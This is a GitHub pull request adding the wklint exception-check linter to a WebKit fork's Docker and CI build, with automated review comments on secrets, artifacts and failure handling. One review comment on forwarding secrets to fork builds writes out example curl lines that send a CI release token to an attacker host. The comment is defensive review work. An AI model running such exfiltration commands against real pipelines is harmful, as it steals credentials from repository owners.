Run wklint (JSC exception-check linter) during the Linux amd64 debug build - #314
Run wklint (JSC exception-check linter) during the Linux amd64 debug build#314sosukesuzuki wants to merge 8 commits into
Conversation
…build
wklint is oven-sh's static analyzer for JSC's exception-check protocol
(a whole-CFG version of --validateExceptionChecks). This wires it into the
existing JSC build:
- Dockerfile: an optional stage fetches the prebuilt wklint tarball from
oven-sh/webkit-lint when WKLINT_TAG is set (token passed as a BuildKit
secret), and the linter runs over the JSC unified sources right after the
jsc target builds, writing wklint-{findings.json,report.txt,exit-code} to
/output. A lint failure never fails the image build.
- release.sh: threads WKLINT_TAG and the token secret into buildx (no-op when
unset).
- build-reusable.yml: enables lint on the linux amd64 debug leg only (input
wklint_tag, falling back to the WKLINT_TAG repo variable), then reports:
findings not covered by Tools/wklint/expectations.yaml fail the job with a
summary of what to fix or triage; the raw findings are kept as an artifact.
- Tools/wklint/expectations.yaml: the baseline for this fork (165 entries).
New PRs only need to keep the report clean; entries carry a reason.
![claude[bot]](https://avatars.githubusercontent.com/in/1236702?s=60&v=4){kind=small}
There was a problem hiding this comment.
Beyond the inline findings, I also checked: the token is passed via a BuildKit --mount=type=secret (not a build-arg) and read without set -x, so it does not persist in an image layer; and the wklint-* output files are rm -f'd from bun-webkit/ before it is tarred, so they don't leak into the published release artifact.
Extended reasoning...
The inline findings cover the actionable issues (notably tar --zstd on focal's tar 1.30, which will hard-fail the image build the first time WKLINT_TAG is set). Separately I verified two natural concerns for CI infra that handles a secret and writes into the artifact output dir: (1) the token reaches the container only via BuildKit's tmpfs secret mount and is never baked into a layer or echoed inside the Dockerfile RUN; (2) the workflow copies the wklint outputs out of bun-webkit/ and then removes them before tar -czf, so the shipped bun-webkit.tar.gz is unchanged. Tools/wklint/expectations.yaml is pure data consumed only by the external wklint-run.py and has no build-time effect.
|
Note Reviews pausedIt looks like this branch is under active development. To avoid overwhelming you with review comments due to an influx of new commits, CodeRabbit has automatically paused this review. You can configure this behavior by changing the Use the following commands to manage reviews:
Use the checkboxes below for quick actions:
WalkthroughChangesWklint is configurable through reusable workflows and release builds, downloaded during Docker builds, run during WebKit packaging, and reported through CI artifacts and job summaries. A comprehensive expectations file records known Wklint integration
Suggested reviewers: 🚥 Pre-merge checks | ✅ 3 | ❌ 1❌ Failed checks (1 warning)
✅ Passed checks (3 passed)
Comment |
![coderabbitai[bot]](https://avatars.githubusercontent.com/in/347564?s=60&v=4){kind=small}
There was a problem hiding this comment.
Actionable comments posted: 3
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/build-reusable.yml:
- Around line 148-150: Update the wklint artifact collection in the workflow to
gate on bun-webkit/wklint-exit-code rather than the JSON findings file, so runs
that fail before producing JSON are still collected. Preserve wklint-log.txt
during collection, and inspect the recorded exit code to fail the job for
unexpected non-zero results while retaining the existing handling for expected
outcomes.
In `@Dockerfile`:
- Around line 123-129: Update the wklint download flow to pin the artifact to a
trusted digest or signature obtained independently of the mutable GitHub release
response, verify it immediately after download, and only then extract it and run
`/opt/wklint-linux-x64/bin/wklint --version`; preserve the existing asset
selection and installation flow after successful verification.
In `@release.sh`:
- Around line 59-63: Update the WKLINT_TAG handling near WKLINT_SECRET_ARGS so
the build tag is retained only when both WKLINT_TAG and
WEBKIT_LINT_RELEASE_TOKEN are available; otherwise clear WKLINT_TAG before
passing build arguments. Keep WKLINT_SECRET_ARGS disabled when the token is
absent, preventing the Dockerfile download branch from being selected without
its secret.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: 467b7dfd-0f6a-42c6-94c5-3d86356eb603
📒 Files selected for processing (4)
.github/workflows/build-reusable.ymlDockerfileTools/wklint/expectations.yamlrelease.sh
| if [ -f bun-webkit/wklint-findings.json ]; then | ||
| cp bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-exit-code . 2>/dev/null || true | ||
| rm -f bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-log.txt bun-webkit/wklint-exit-code |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Preserve and fail incomplete wklint runs.
Dockerfile writes wklint-exit-code whenever it invokes the runner, but this step copies it only when JSON exists. A runner failure before JSON creation is then reported as “did not run” and the job passes. Gate collection on wklint-exit-code, retain the log, and fail unexpected non-zero exit codes.
Also applies to: 162-183
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In @.github/workflows/build-reusable.yml around lines 148 - 150, Update the
wklint artifact collection in the workflow to gate on
bun-webkit/wklint-exit-code rather than the JSON findings file, so runs that
fail before producing JSON are still collected. Preserve wklint-log.txt during
collection, and inspect the recorded exit code to fail the job for unexpected
non-zero results while retaining the existing handling for expected outcomes.
| api="https://api.github.com/repos/oven-sh/webkit-lint/releases/tags/${WKLINT_TAG}"; \ | ||
| asset_url=$(curl -fsSL -H "Authorization: token ${token}" "$api" \ | ||
| | python3 -c 'import json,sys; print([a["url"] for a in json.load(sys.stdin)["assets"] if a["name"].endswith("-linux-x64.tar.zst")][0])'); \ | ||
| curl -fsSL -H "Authorization: token ${token}" -H "Accept: application/octet-stream" \ | ||
| -o /tmp/wklint.tar.zst "$asset_url"; \ | ||
| mkdir -p /opt && tar --zstd -xf /tmp/wklint.tar.zst -C /opt && rm /tmp/wklint.tar.zst; \ | ||
| /opt/wklint-linux-x64/bin/wklint --version; \ |
There was a problem hiding this comment.
🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy lift
Verify the downloaded wklint artifact before executing it.
The release asset is downloaded by mutable tag and executed without a checksum or signature check. Pin and verify a trusted digest/signature supplied independently of the release response before extraction or wklint --version.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@Dockerfile` around lines 123 - 129, Update the wklint download flow to pin
the artifact to a trusted digest or signature obtained independently of the
mutable GitHub release response, verify it immediately after download, and only
then extract it and run `/opt/wklint-linux-x64/bin/wklint --version`; preserve
the existing asset selection and installation flow after successful
verification.
WKLINT_TAG now accepts "latest" (the default), a specific autobuild tag, or "off", so no repository variable is needed to keep the linter on the newest analyzer. When the release token secret is unavailable (fork PRs), the lint step is skipped instead of failing the build.
Reusable (workflow_call) workflows do not inherit secrets by default, so WEBKIT_LINT_RELEASE_TOKEN was empty inside build-reusable.yml and the linter was silently skipped. Declare it as an (optional) secret input and inherit secrets from build.yml / build-preview.yml.
The wklint prebuilt is x86-64, so unconditionally enabling it made the arm64 Docker builds fail with an exec format error. Lint is now opt-in per matrix leg (the workflow sets WKLINT_TAG=latest only where wklint: true), the Dockerfile default is off, and the fetch stage additionally requires TARGETARCH=amd64.
There was a problem hiding this comment.
Actionable comments posted: 1
Caution
Some comments are outside the diff and can’t be posted inline due to platform limitations.
⚠️ Outside diff range comments (1)
.github/workflows/build-reusable.yml (1)
136-137: 🎯 Functional Correctness | 🟠 Major | ⚡ Quick winPreserve empty
WKLINT_TAGinrelease.sh.
export WKLINT_TAG=${WKLINT_TAG:-"latest"}turns the workflow’s explicit""intolatest, so wklint runs on every Linux leg whenever the token is present. Default tolatestonly when the variable is unset, not when it is intentionally empty.🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the rest with a brief reason, keep changes minimal, and validate. In @.github/workflows/build-reusable.yml around lines 136 - 137, Update the release.sh handling of WKLINT_TAG so an explicitly empty value remains empty and disables wklint, while an unset variable defaults to latest. Preserve the workflow’s existing WKLINT_TAG assignment and ensure the release script distinguishes unset from empty values before exporting the default.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In @.github/workflows/build-reusable.yml:
- Around line 29-32: Keep the `wklint_tag` workflow input empty by default so
the later `vars.WKLINT_TAG` fallback can apply, including values such as `off`.
Ensure the resolved empty value is passed to `release.sh`, whose existing
handling should convert only an ultimately empty tag to `latest` while
preserving the explicit disable path.
---
Outside diff comments:
In @.github/workflows/build-reusable.yml:
- Around line 136-137: Update the release.sh handling of WKLINT_TAG so an
explicitly empty value remains empty and disables wklint, while an unset
variable defaults to latest. Preserve the workflow’s existing WKLINT_TAG
assignment and ensure the release script distinguishes unset from empty values
before exporting the default.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: dc230fb1-75ca-44c2-b84b-9696ccbe984f
📒 Files selected for processing (3)
.github/workflows/build-preview.yml.github/workflows/build-reusable.yml.github/workflows/build.yml
| echo '```' | ||
| } >> "$GITHUB_STEP_SUMMARY" | ||
| echo "::warning title=wklint::$new new unchecked-exception finding(s); see the job summary" | ||
| exit 1 |
There was a problem hiding this comment.
🟡 nit: the linux job's strategy: has no fail-fast: false, so when this exit 1 fires on a wklint finding, Actions' default fail-fast cancels any in-progress sibling matrix legs — losing per-arch build signal for a lint-only failure that's orthogonal to whether those builds compile. windows-cross in this file already sets fail-fast: false (line 207) for the same reason; consider adding it under jobs.linux.strategy too. Purely a CI-ergonomics trade-off (release is blocked either way via needs: linux, and cancelling does save compute), so feel free to keep as-is if that's the intent.
Extended reasoning...
What this is
The linux job's strategy: block (lines 42–43) has only matrix:, so GitHub Actions' documented default of fail-fast: true applies. This PR adds a new failure mode to exactly one leg of that matrix: the "Report wklint" step does exit 1 (line 186) on the amd64-debug leg when wklint reports a finding not covered by Tools/wklint/expectations.yaml. Under fail-fast: true, that failure cancels every other in-progress linux matrix leg.
Step-by-step
- A push to
main(or a preview build) introduces a new unchecked-exception pattern. - The
bun-webkit-linux-amd64-debugleg builds, uploads its artifact (line 158 — so its own tarball survives), then runs "Report wklint". [ "$exit_code" = "1" ]→exit 1→ the amd64-debug matrix leg is marked failed.- Default
fail-fast: truefires → GitHub cancels whichever of the other 9linuxlegs (arm64/lto/asan/…) are still running. - Cancelled legs never upload artifacts; the developer can't tell from this run whether e.g. their change also broke the arm64 or LTO compile.
Why nothing prevents it
Before this PR, a linux leg only failed on an actual build error, so fail-fast cancelling siblings was reasonable (a compile error usually affects every arch). This PR introduces a lint-only failure that is orthogonal to whether the other 9 builds compile. The windows-cross job in the same file explicitly sets fail-fast: false (line 207) with the comment "One variant's failure shouldn't cancel the others", showing this concern is already recognised in this workflow — the linux job just wasn't updated to match now that it too has a variant-specific failure mode.
Addressing the counter-arguments
This is a design trade-off, not a correctness defect, and there are reasonable arguments for the current behaviour:
- "fail-fast saves compute" — true: since
releasehasneeds: linux, the run is dead either way once one leg fails, and cancelling siblings avoids finishing builds whose artifacts won't be published. The counter is signal loss: if a change introduces both a wklint finding and an unrelated arm64/LTO compile break, the developer only sees the lint failure, fixes it, pushes, waits another full cycle, and only then discovers the compile break. Whether that signal is worth the extra CI minutes is a judgement call. - "the fail-fast default is pre-existing" — the policy is pre-existing, but this PR is what introduces a leg-specific, lint-only failure into that policy. Previously every leg-failure was a compile error (correlated across archs); this one isn't.
- "the amd64-debug leg may now be one of the slower legs" — plausible: this PR adds ~8–15 min of analysis to it, so LTO/ASAN siblings may often have already uploaded before
exit 1fires, in which case the cancellation is a no-op. That reduces the practical impact but doesn't eliminate it (siblings that queue behind runner availability, or slow LTO builds, can still be mid-flight). - "failing the job is intentional" — agreed; the PR description says findings "fail that job". This note is only about whether that failure should also cancel siblings, which the description doesn't address.
Impact
Minor CI-ergonomics only. Nothing ships incorrectly (the release job is blocked regardless via needs: linux). The concrete cost is an occasional extra fix-and-rerun round when a lint finding masks a real per-arch compile failure in the same push.
Fix
One line under jobs.linux.strategy:
strategy:
fail-fast: false
matrix:Or, if the compute saving is preferred, leave as-is — this is not blocking.
| permissions: | ||
| contents: write | ||
| uses: ./.github/workflows/build-reusable.yml | ||
| secrets: inherit |
There was a problem hiding this comment.
🟡 nit: secrets: inherit here means a maintainer who dispatches this workflow with pr_number pointing at a fork PR now hands WEBKIT_LINT_RELEASE_TOKEN (and any future repo secret the reusable workflow references) to the fork's release.sh — the permission check is pull_request-only and build_ref is the fork's head SHA. The token is low-value and this path already ran fork code with a contents: write GITHUB_TOKEN, so it's incremental; but since wklint gating only really matters on main pushes, consider dropping secrets: inherit from this caller (keep it on build.yml only), or pass the single secret explicitly gated on head.repo.full_name == github.repository.
Extended reasoning...
What the concern is
Commit e65dc0b adds secrets: inherit to build-preview.yml's call into build-reusable.yml (fixing the earlier "secret not propagated" review comment). build-preview.yml also has a workflow_dispatch input pr_number whose stated purpose — per the permission-check error message on line 43, "Preview builds must be triggered manually via workflow_dispatch" — is to let a maintainer trigger a preview build for a PR that did not auto-trigger, i.e. a fork PR. That combination lets fork-controlled shell code read the forwarded secret.
Code path
- A maintainer runs Actions → Preview Build → Run workflow with
pr_number: Nfor an external fork PR.workflow_dispatchruns in the base-repo context with full repository secrets (GitHub's fork-secret restriction applies only topull_request-triggered runs, not to a dispatch that references a fork PR). triggerjob: the "Check permissions" step is gated onif: github.event_name == 'pull_request'(line 32) and is skipped. Theprstep callspulls.getand setssha = pr.head.sha— the fork's commit.buildjob:uses: ./.github/workflows/build-reusable.ymlwithsecrets: inherit(new in this PR) andbuild_ref: <fork-sha>.- Reusable workflow
linuxjob (all 10 matrix legs):actions/checkoutwithref: ${{ inputs.build_ref }}checks out the fork's tree — fork PR head commits are fetchable from the base repo viarefs/pull/N/head, so this succeeds without cross-repo credentials. - The "Run" step at
build-reusable.yml:137setsenv: WEBKIT_LINT_RELEASE_TOKEN: ${{ secrets.WEBKIT_LINT_RELEASE_TOKEN }}unconditionally on every leg, then executesbash release.sh— the fork's script — with the token in its environment.
A fork PR that adds curl -d "$WEBKIT_LINT_RELEASE_TOKEN" https://attacker/ to release.sh exfiltrates the token as soon as a maintainer preview-builds it. Actions log masking hides the value in log output but does not prevent network exfiltration.
Why existing safeguards don't prevent it
- The
trigger-job permission check only runs forpull_requestevents;workflow_dispatchbypasses it entirely (and the dispatcher already has write — the untrusted party is the fork author). - Before this PR there was no
secrets:block on this call, sosecrets.WEBKIT_LINT_RELEASE_TOKENevaluated to empty inside the reusable workflow and nothing was exposed.secrets: inheritis what makes it reachable. secrets: inheritforwards all repository secrets, not just the one declared underon.workflow_call.secrets. Any future secret added to the repo and referenced in a stepenv:becomes reachable via the same path.
Step-by-step proof
- Fork opens PR IntlCollator: throw an OutOfMemoryError instead of crashing when a huge Latin-1 string needs the UTF-16 upconversion #500 whose
release.shadds one line:curl -sS -d "$WEBKIT_LINT_RELEASE_TOKEN" https://attacker.example/t || true. - On the
pull_requestevent, the permission check fails (fork author has no write) — no build, no exposure. This is why the dispatch path exists. - Maintainer runs
workflow_dispatchwithpr_number: 500. github.event_name == 'workflow_dispatch'→ permission check step'sif:is false → skipped.pulls.get({pull_number: 500})→sha = <fork-head-sha>;build_refis set to it.buildjob runs withsecrets: inherit→ inside the reusable workflow,secrets.WEBKIT_LINT_RELEASE_TOKENis the real token.- On the
bun-webkit-linux-amd64-debugleg (and every other linux leg),actions/checkoutfetches<fork-head-sha>, thenbash release.shruns withWEBKIT_LINT_RELEASE_TOKEN=ghp_…in its env → the injectedcurlposts it.
Impact / why this is a nit
- The specific token grants read-only access to
oven-sh/webkit-lintreleases (leaks a private linter binary) — small blast radius. - The exposure requires a maintainer to explicitly dispatch a build for an unreviewed fork PR, which is a weak form of approval.
- Critically, the pre-existing
workflow_dispatch-on-fork-PR path already checks out and runs fork-controlledrelease.shunderpermissions: contents: write, i.e. with a write-capableGITHUB_TOKENpersisted byactions/checkout. So the underlying "fork code runs in a privileged context" architecture predates this PR; this change adds one low-privilege credential to that surface. The design concern worth flagging is thatinheritis a broad grant that will silently extend to any future higher-value secret.
Suggested fix
Either of these keeps the wklint feature working while narrowing the grant:
- Drop
secrets: inheritfrombuild-preview.ymland keep it only onbuild.yml. wklint gating matters onmainpushes; on a preview build the linter simply skips (release.shclearsWKLINT_TAGwhen the token is empty). Simplest option. - Or replace
inheritwith an explicit mapping that passes the secret only for same-repo heads, e.g. computesame_repoin thetriggerjob frompr.head.repo.full_nameand passsecrets: WEBKIT_LINT_RELEASE_TOKEN: ${{ needs.trigger.outputs.same_repo == 'true' && secrets.WEBKIT_LINT_RELEASE_TOKEN || '' }}. - Or in
build-reusable.yml, gate theWEBKIT_LINT_RELEASE_TOKENenv onmatrix.wklint == 'true' && !inputs.is_prereleaseso preview builds never see it.
…rray.prototype.pop
There was a problem hiding this comment.
Actionable comments posted: 1
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
Inline comments:
In `@Source/JavaScriptCore/runtime/ArrayPrototype.cpp`:
- Around line 549-550: Remove the runtime `toLength` probe and its `wklintProbe`
variable from `Array.prototype.pop`; retain exactly one production call to
`toLength`. If lint coverage is required, replace the inline execution with the
repository’s WKLINT-specific static mechanism so no additional getter/conversion
or exception occurs at runtime.
🪄 Autofix (Beta)
Fix all unresolved CodeRabbit comments on this PR:
- Push a commit to this branch (recommended)
- Create a new PR with the fixes
ℹ️ Review info
⚙️ Run configuration
Configuration used: Organization UI
Review profile: ASSERTIVE
Plan: Pro
Run ID: 00019529-c788-4b12-9b1b-4082240507b4
📒 Files selected for processing (1)
Source/JavaScriptCore/runtime/ArrayPrototype.cpp
| uint64_t wklintProbe = toLength(globalObject, thisObj); // WKLINT-CI-PROBE: intentionally unchecked | ||
| (void)wklintProbe; |
There was a problem hiding this comment.
🎯 Functional Correctness | 🟠 Major | ⚡ Quick win
Do not execute the unchecked probe on the production path.
toLength can invoke user-defined getters/conversions and throw. Calling it here means Array.prototype.pop observes "length" twice, potentially with different results or side effects, and leaves the first exception unchecked until after another call. Keep the probe out of the runtime path and use a wklint-specific mechanism that preserves the single production toLength call.
🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.
In `@Source/JavaScriptCore/runtime/ArrayPrototype.cpp` around lines 549 - 550,
Remove the runtime `toLength` probe and its `wklintProbe` variable from
`Array.prototype.pop`; retain exactly one production call to `toLength`. If lint
coverage is required, replace the inline execution with the repository’s
WKLINT-specific static mechanism so no additional getter/conversion or exception
occurs at runtime.
| if [ -f bun-webkit/wklint-findings.json ]; then | ||
| cp bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-exit-code . 2>/dev/null || true | ||
| rm -f bun-webkit/wklint-findings.json bun-webkit/wklint-report.txt bun-webkit/wklint-log.txt bun-webkit/wklint-exit-code | ||
| fi |
There was a problem hiding this comment.
🟡 nit: this block gates on wklint-findings.json (written by wklint-run.py --json-out), but of the four output files only that one is tool-written — wklint-report.txt, wklint-log.txt, and wklint-exit-code are created unconditionally by shell redirection / echo $? in the Dockerfile. If wklint-run.py crashes before emitting JSON, the if is false so those three stay in bun-webkit/ and get packed into the published tarball, and the Report step sees no wklint-exit-code in runner.temp and prints the misleading "wklint did not run (WKLINT_TAG not set)". Separately, wklint-log.txt (stderr) is in the rm -f list but not the cp list or the artifact path:, so the traceback is always discarded even on the happy path. Gate on wklint-exit-code and glob both operations (cp bun-webkit/wklint-* .; rm -f bun-webkit/wklint-*), and add wklint-log.txt to the upload.
Extended reasoning...
What the bugs are
The post-build block at lines 152–155 handles the four wklint output files the Dockerfile drops into /output (which becomes bun-webkit/ after --output type=local). It has two related problems:
- Wrong sentinel file. Line 152 gates on
[ -f bun-webkit/wklint-findings.json ]. That file is written bywklint-run.py --json-outand only exists if the tool ran far enough to emit it. The other three —wklint-report.txt,wklint-log.txt,wklint-exit-code— are created unconditionally by the shell whenever the Dockerfile's linter block is entered:> /output/wklint-report.txt 2> /output/wklint-log.txtopens both files beforepython3even executes, andecho $? > /output/wklint-exit-coderuns regardless underset +e. wklint-log.txtis captured then thrown away. Thecpon line 153 copiesfindings.json,report.txt, andexit-code— but notlog.txt. Therm -fon line 154 then deletes all four includinglog.txt. The upload-artifactpath:list (lines 192–194) also omits it. So wklint's stderr is redirected to a named file and then unconditionally discarded. The 3-filecpvs 4-filermasymmetry looks like an oversight — if stderr were meant to be dropped it would have been2>/dev/null.
Code path that triggers (1)
In the Dockerfile (added by this PR):
if [ -x /opt/wklint-linux-x64/bin/wklint ]; then \
set +e; \
python3 /opt/wklint-linux-x64/tools/wklint-run.py … \
--json-out /output/wklint-findings.json \
> /output/wklint-report.txt 2> /output/wklint-log.txt; \
echo $? > /output/wklint-exit-code; \
set -e; \
fiIf wklint-run.py exits early — bad --expectations YAML, missing compile_commands.json, a Python ImportError/traceback, segfault — before writing its JSON:
bun-webkit/wklint-findings.jsonis absent → line 152'sifis false → neither thecp(153) nor therm -f(154) runs.wklint-report.txt,wklint-log.txt,wklint-exit-coderemain insidebun-webkit/and are packed intobun-webkit.tar.gzon line 156, uploaded asbun-webkit-linux-amd64-debug, and later attached to the GitHub release by thereleasejob.- The "Report wklint" step (line 166) checks
[ ! -f wklint-exit-code ]inrunner.temp— true, since nothing was copied there — so it printswklint did not run (WKLINT_TAG not set); skipping.and exits 0. wklint did run and crashed; the message is wrong and the crash is invisible.
Why nothing prevents it
The Report step correctly uses wklint-exit-code as its "did it run?" sentinel (line 166), but the copy-out block that feeds it uses the tool-written findings.json instead. There is no other sweep that removes stray wklint-* files from bun-webkit/ before tar.
For (2), nothing else consumes wklint-log.txt: it isn't cat'd in the Report step (only report.txt is), it isn't in the cp, and it isn't in the artifact upload — so the stderr the Dockerfile deliberately captured has no path out of the container.
Step-by-step proof
Assume the token/tag are wired up and Tools/wklint/expectations.yaml has a YAML syntax error (or wklint-run.py hits any early exception):
- Dockerfile enters
if [ -x /opt/wklint-linux-x64/bin/wklint ]; shell opens/output/wklint-report.txt(empty) and/output/wklint-log.txt(will receive the traceback). python3 wklint-run.py … --json-out /output/wklint-findings.jsonraises before opening the JSON file → exit 2 (or similar) →echo 2 > /output/wklint-exit-code.docker buildx --output type=local,dest=$temp/bun-webkitmaterialisesbun-webkit/wklint-{report.txt,log.txt,exit-code}but notwklint-findings.json.- Line 152:
[ -f bun-webkit/wklint-findings.json ]→ false.cp/rmskipped. - Line 156:
tar -czf bun-webkit.tar.gz bun-webkit— the three stray files are in the tarball. - "Report wklint" step,
working-directory: ${{runner.temp}}:[ ! -f wklint-exit-code ]→ true →wklint did not run (WKLINT_TAG not set); skipping.→ exit 0. Green job.
For (2), on the happy path (findings.json exists): cp on line 153 moves three files out, rm -f on line 154 deletes four including bun-webkit/wklint-log.txt. Nothing named wklint-log.txt exists anywhere the Report step or upload-artifact can see it. If the tool later exits non-zero for a reason that only appears on stderr, only wklint exit code: N is echoed; the diagnostic is gone.
Impact
Both are diagnostic/hygiene gaps, not functional breaks — the happy path (tool runs, emits JSON, exit 0/1) works. On a tool crash you get (a) three small stray text files in one debug tarball variant and (b) a misleading "did not run" message that hides the crash; and in all cases stderr is lost. Given the PR frames this as a soft launch ("preview build is the first real test"), losing the crash diagnostics is the part most likely to bite.
Fix
Gate on the shell-produced sentinel and glob both operations so a missing findings.json is tolerated and log.txt comes along:
if [ -f bun-webkit/wklint-exit-code ]; then
cp bun-webkit/wklint-* . 2>/dev/null || true
rm -f bun-webkit/wklint-*
fi…and add ${{runner.temp}}/wklint-log.txt to the wklint-findings artifact path: list (or cat wklint-log.txt || true in the Report step).
There was a problem hiding this comment.
Thanks — the sentinel is now wklint-exit-code and wklint-log.txt is copied out of bun-webkit/, so both the tarball leak and the misleading "did not run" message are fixed. One leftover: wklint-log.txt still isn't in the wklint-findings upload-artifact path: list (only wklint-findings.json and wklint-report.txt are), so the new tool-error ::warning that says "see wklint-log.txt in the wklint-findings artifact" points at a file that never gets uploaded. Add ${{runner.temp}}/wklint-log.txt to that path: block.
| RUN --mount=type=secret,id=WEBKIT_LINT_RELEASE_TOKEN \ | ||
| if [ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ]; then \ | ||
| set -eu; \ | ||
| token=$(cat /run/secrets/WEBKIT_LINT_RELEASE_TOKEN); \ | ||
| if [ "$WKLINT_TAG" = "latest" ]; then \ | ||
| api="https://api.github.com/repos/oven-sh/webkit-lint/releases/latest"; \ | ||
| else \ | ||
| api="https://api.github.com/repos/oven-sh/webkit-lint/releases/tags/${WKLINT_TAG}"; \ | ||
| fi; \ | ||
| asset_url=$(curl -fsSL -H "Authorization: token ${token}" "$api" \ | ||
| | python3 -c 'import json,sys; print([a["url"] for a in json.load(sys.stdin)["assets"] if a["name"].endswith("-linux-x64.tar.zst")][0])'); \ | ||
| curl -fsSL -H "Authorization: token ${token}" -H "Accept: application/octet-stream" \ | ||
| -o /tmp/wklint.tar.zst "$asset_url"; \ | ||
| mkdir -p /opt && tar --zstd -xf /tmp/wklint.tar.zst -C /opt && rm /tmp/wklint.tar.zst; \ | ||
| /opt/wklint-linux-x64/bin/wklint --version; \ | ||
| fi |
There was a problem hiding this comment.
🟡 nit: the set +e / captured-exit-code protection only wraps the analysis step (lines 323-335), not this fetch — so once the token is configured, a GitHub API 5xx/rate-limit, a bad WKLINT_TAG (→ curl -f exits 22), a release with no -linux-x64.tar.zst asset (→ python3 [...][0] IndexError), or a broken prebuilt (wklint --version non-zero) aborts this RUN under set -eu, which fails the docker build → fails the amd64-debug leg → blocks release via needs: linux. Since the analysis step is already gated on [ -x /opt/wklint-linux-x64/bin/wklint ], consider wrapping the fetch body so a failure degrades to skip-lint too, e.g. { ...fetch... ; } || { echo 'wklint fetch failed; skipping lint' >&2; rm -rf /opt/wklint-linux-x64; }. Distinct from the earlier missing-secret comment on Dockerfile:11 — that fix (guard on the secret file / clear the ARG default) doesn't cover the token-present/API-fails path.
Extended reasoning...
What this is
The wklint fetch RUN step enters set -eu (line 122) and then chains four operations that can each exit non-zero for reasons unrelated to the WebKit source being built:
curl -fsSL ... "$api"—-fmakes curl exit 22 on any HTTP 4xx/5xx (GitHub API rate-limit, 5xx blip, or a mistyped/deletedWKLINT_TAG→ 404).| python3 -c '...[...][0]'— raisesIndexErrorif the release has no asset ending in-linux-x64.tar.zst, orJSONDecodeErrorif stdin is empty.- The second
curl -ffor the asset download — same 4xx/5xx behaviour. /opt/wklint-linux-x64/bin/wklint --version— non-zero if the prebuilt is broken or linked against a newer glibc.
Under set -e, the exit status of asset_url=$(...) is the command substitution's exit status, so any of these failures aborts the RUN. That fails the whole docker buildx build, which release.sh (set -euxo pipefail) propagates, which fails the bun-webkit-linux-amd64-debug matrix leg, which — via needs: linux in build-reusable.yml — blocks the release job.
Why the existing soft-fail doesn't cover it
The PR description says "A lint failure never fails the image build", and that guarantee is implemented — but only around the analysis step (Dockerfile:323-335), which does set +e; ... ; echo $? > /output/wklint-exit-code; set -e. The fetch step has no equivalent wrapper. The analysis step is also gated on [ -x /opt/wklint-linux-x64/bin/wklint ], so it already tolerates "binary absent" gracefully — the fetch step just never gives it the chance to exercise that path, because a fetch failure kills the build before the WebKit source is even compiled.
This is a different trigger from the two Dockerfile comments already on the PR:
- The
Dockerfile:11/ missing-secret comment covers the secret-absent case (cat /run/secrets/...→ ENOENT). Its suggested fixes (default the ARG to"", or guard on[ -f /run/secrets/... ]) don't help when the secret is present but the API call or tag lookup fails. - CodeRabbit's checksum-verification comment is about supply-chain integrity, not failure handling.
Step-by-step proof
Assume the secret is configured and WKLINT_TAG resolves to autobuild-3cb03ec1a2b1, but that release was deleted from oven-sh/webkit-lint (or the tag has a typo):
release.shpasses--build-arg WKLINT_TAG=autobuild-3cb03ec1a2b1and--secret id=WEBKIT_LINT_RELEASE_TOKEN,env=...to buildx.- Dockerfile:121 —
[ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ]→ true;set -euenabled. - Line 127 —
api="https://api.github.com/.../releases/tags/autobuild-3cb03ec1a2b1". - Line 129 —
curl -fsSL -H "Authorization: token ..." "$api"→ GitHub returns 404 →curl -fexits 22. - Under
set -e,asset_url=$(... exit 22 ...)→ the assignment's status is 22 → theRUNstep fails. docker buildx buildexits non-zero →release.sh(set -euxo pipefail) exits → the amd64-debug job fails →release(withneeds: linux) is skipped.
The same trace applies to a transient GitHub API 502, or to a webkit-lint release published without the -linux-x64.tar.zst asset (in which case curl succeeds but python3 raises IndexError: list index out of range).
Impact and why it's a nit
This is a robustness/design observation rather than a correctness defect:
- It only fires once
WEBKIT_LINT_RELEASE_TOKENandWKLINT_TAGare configured (the PR ships this as a no-op until then). - The failure is loud, early (before any WebKit compilation), and immediately diagnosable from the log.
- Every other network fetch in this Dockerfile (apt.llvm.org, kitware, gcc-13 debs, zstd, Node, ICU) also hard-fails on network errors, so this follows the file's existing convention. The counter-argument is that those are required build tools whereas wklint is explicitly optional (gated on token, analysis gated on
-x), so coupling every WebKit release to oven-sh/webkit-lint's availability is a new external dependency the author may not have intended. - "A lint failure never fails the image build" arguably refers to lint findings, not fetch infra — the author may prefer a loud failure over a silent skip. That's a reasonable trade-off; this comment just flags the inconsistency with the analysis step's design.
Fix
Wrap the fetch body so failure degrades to skip-lint (matching the analysis step's optionality):
if [ -n "$WKLINT_TAG" ] && [ "$TARGETARCH" = "amd64" ]; then \
set -u; \
{ \
token=$(cat /run/secrets/WEBKIT_LINT_RELEASE_TOKEN); \
... \
/opt/wklint-linux-x64/bin/wklint --version; \
} || { echo 'wklint fetch failed; skipping lint' >&2; rm -rf /opt/wklint-linux-x64; }; \
